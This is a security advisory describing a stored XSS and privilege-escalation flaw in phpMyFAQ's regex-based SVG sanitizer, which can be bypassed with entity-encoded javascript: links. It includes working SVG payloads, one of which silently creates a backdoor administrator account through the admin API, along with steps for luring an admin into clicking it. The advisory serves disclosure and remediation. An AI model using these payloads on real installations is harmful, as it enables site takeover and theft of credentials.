phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation

Summary

The regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with edit_faq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.

Details

The file phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for javascript: URL detection is:

/href\s*=\s*["\']javascript:[^"\']*["\']/i

This pattern matches the literal string javascript: but fails when the URL is HTML entity encoded. For example, javascript: decodes to javascript: in the browser, but does NOT match the regex. The isSafe() method returns true, so the SVG is accepted without sanitization.

Additionally, the DANGEROUS_ELEMENTS blocklist misses <animate>, <set>, and <use> elements which can also be used to execute JavaScript in SVG context.

Uploaded SVG files are served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, so browsers render them inline and execute any JavaScript they contain.

The image upload endpoint (/admin/api/content/images) only requires the edit_faq permission — not full admin — so any editor-level user can upload malicious SVGs.

PoC

Basic XSS (confirmed working in Chrome 146 and Edge)

1. Login to phpMyFAQ admin panel with any account that has edit_faq permission
2. Navigate to Admin → Content → Add New FAQ
3. In the TinyMCE editor, click the image upload button
4. Upload this SVG file:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
  <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(document.domain)">
    <text x="20" y="50" font-size="16" fill="red">Click for XSS</text>
  </a>
</svg>

5. The SVG is uploaded to /content/user/images/<timestamp>_<filename>.svg
6. Open the SVG URL directly in a browser
7. Click the red text → alert(document.domain) executes

Privilege Escalation (Editor → Admin Takeover)

1. As editor, upload this SVG:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300">
  <rect width="500" height="300" fill="#f8f9fa"/>
  <text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text>
  <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'[email protected]','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')">
    <rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/>
    <text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text>
  </a>
</svg>

2. Send the SVG URL to an admin
3. Admin opens URL, clicks "View Update →"
4. JavaScript creates backdoor admin user backdoor:H4ck3d!
5. Attacker logs in as backdoor with full admin privileges

Impact

This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with edit_faq permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:

• Create backdoor admin accounts via the admin API
• Exfiltrate phpMyFAQ configuration (database credentials, API tokens)
• Modify or delete FAQ content
• Achieve full admin account takeover The vulnerability affects all phpMyFAQ installations using the SvgSanitizer class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with Content-Disposition: attachment to prevent inline rendering.